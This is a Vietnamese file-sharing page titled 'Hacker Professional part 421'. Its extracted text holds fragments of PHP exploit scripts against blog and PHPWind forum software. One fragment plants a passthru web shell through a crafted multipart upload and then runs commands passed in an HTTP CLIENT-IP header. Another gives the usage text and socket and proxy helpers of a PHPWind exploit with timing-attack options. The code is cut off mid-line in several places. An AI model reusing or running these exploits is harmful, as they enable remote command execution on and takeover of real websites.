Hacker Professional part 421

Chia sẻ: Angel Smile | Ngày: | Loại File: PDF | Số trang:6

Thêm vào BST

Báo xấu

54
lượt xem 7
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

Tham khảo tài liệu 'hacker professional part 421', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả

Chủ đề:

Bình luận(0) Đăng nhập để gửi bình luận!

Lưu

Nội dung Text: Hacker Professional part 421

but I prefer posts because we do not have an .htaccess in blogs/posts/ folder "0.php" string is appended to a new post filename */ $shell='error_reporting(0); set_time_limit(0); echo "my_delim"; passthru($_SERVER[HTTP_CLIENT_IP]); echo "my_delim";'; $data='-----------------------------7d61bcd1f033e Content-Disposition: form-data; name="f"; suntzu_'.$v.' -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="newmessage"; '.$shell.' -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="newusername"; 1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="adminuser"; 1 -----------------------------7d61bcd1f033e Content-Disposition: form-data; name="permission"; 1 -----------------------------7d61bcd1f033e-- '; $packet ="POST ".$p."blog.php HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=--------------------------- 7d61bcd1f033e\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: close\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(2);
$packet ="GET ".$p."blogs/posts/suntzu_".$v."0.php HTTP/1.0\r\n"; $packet.="CLIENT-IP:".$cmd."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: close\r\n\r\n"; sendpacketii($packet); if (eregi("my_delim",$html)) { $temp=explode("my_delim",$html); echo $temp[1]; } else { echo "exploit failed..."; } ?> black_hat_cr(HCE) PHPWind
-p[port]: specify a port other than 80 -P[ip:port]: specify a proxy -t[n]: adjust query timeout (default: 10) -b[n]: adjust the delay for benchmark() -e[key]: specify an encryption key, if you have it it is an md5 fragment (18 chars) Example: php '.$argv[0].' localhost /phpwind/ -P1.1.1.1:80 php '.$argv[0].' localhost / -p81 php '.$argv[0].' localhost /forum/ -t15 -b20000000 php '.$argv[0].' localhost / -t15 -b20000000 php '.$argv[0].' localhost / -t15 -e298af45091ebcdfbcd --------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i
function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { return; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1];
$path=$argv[2]; $port=80; $timeout=10; $proxy=""; $b=200000000; $e=""; for ($i=3; $i

CÓ THỂ BẠN MUỐN DOWNLOAD